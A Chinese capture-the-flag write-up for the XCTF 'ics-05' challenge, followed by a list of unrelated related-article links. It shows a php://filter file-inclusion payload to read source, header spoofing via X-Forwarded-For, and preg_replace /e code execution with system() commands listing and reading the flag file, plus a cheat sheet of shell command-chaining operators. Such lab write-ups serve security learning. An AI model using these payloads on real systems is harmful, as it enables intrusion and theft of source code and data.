当前位置: 首页 > article >正文

攻防世界 ics-05

ics-05

隐藏的变量传参,php弱类型比较

只有设备维护中心可以点击进去

img

查看源码,发现有个隐藏的超链接变量传参

img

看到变量传参,有可能存在文件包含漏洞读取源码,这个站是php的站,所以可以使用php伪协议读取源码

index.php?page=php://filter/read=convert.base64-encode/resource=index.php

img

base解码,可以看到漏洞点在这里

<?php
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}
?>

分析一下,传入了三个变量pat,rep,sub

preg_replace:执行一个正则表达式的搜索和替换
● pattern 要搜索的模式。可以是一个字符串或字符串数组。  
● replacement 用于替换的字符串或字符串数组。如果这个参数是一个字符串,并且 pattern 是一个数组,那么所有的模式都使用这个字符串进行替换。  
● subject要进行搜索和替换的字符串或字符串数组。
● limit 每个模式在每个 subject 上进行替换的最大次数。默认是 -1(无限)。
● count 如果指定,将会被填充为完成的替换次数。

找到这个函数存在的漏洞就是当$pattern使用了/e修正符的时候,替换的时候会将$replacement替换进去的代码当成php执行

img

所以先抓包,添加一个X-Forwarded-For

img

接着查看可疑文件,用%20代替空格 %26代替&,%20%26是它们的url编码

命令联合执行
;     前面的执行完执行后面的
|     管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)         
||    当前面的执行出错时(为假)执行后面的
&     将任务置于后台执行
&&    前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a  (换行)
%0d  (回车)
system("ls%20s3chahahaDir")     
system("cd%20s3chahahaDir%26%26ls")

img

继续查看文件内容

system("ls%20s3chahahaDir/flag")
system("cd%20s3chahahaDir/flag")

img

拿到flag

system("cat%20s3chahahaDir/flag/flag.php")
system("cd%20s3chahahaDir/flag%26%26cat%20flag.php")

img

攻防世界XCTF:ics-05_xctf-insc05-CSDN博客


http://www.kler.cn/a/297797.html

相关文章:

  • 用亚马逊云科技Graviton高性能/低耗能处理器构建AI向量数据库(上篇)
  • 开源模型应用落地-sherpa-onnx-AIGC应用探索(十)
  • flutter的入口和原生交互
  • 【深度学习】【onnxruntime】C++调用onnx
  • TinyWebSever源码逐行注释(三)_ thread_pool.cpp
  • 动手学深度学习(pytorch)学习记录25-汇聚层(池化层)[学习记录]
  • 等保2.0测评之Nginx 中间件
  • 操作word 以及pdf 记录以及踩坑总结
  • Python | 练习作业 2
  • CMake+MinGW+vcpkg项目引入三方库的两种方式(手动路径,vcpkg)
  • 鸿蒙轻内核M核源码分析系列六 任务及任务调度(2)任务模块
  • Linux学习-Ansible(一)
  • 最新前端开发VSCode高效实用插件推荐清单
  • Linux(3)--CentOS8下载、安装
  • HTML 揭秘:HTML 编码快速入门
  • 343. 整数拆分
  • 联邦迁移学习
  • AIoTedge边缘计算+边缘物联网平台
  • WPF 保姆级教程怎么实现一个树形菜单
  • 基于SpringBoot+Vue社区家政服务预约平台【提供源码+答辩PPT+参考文档+项目部署】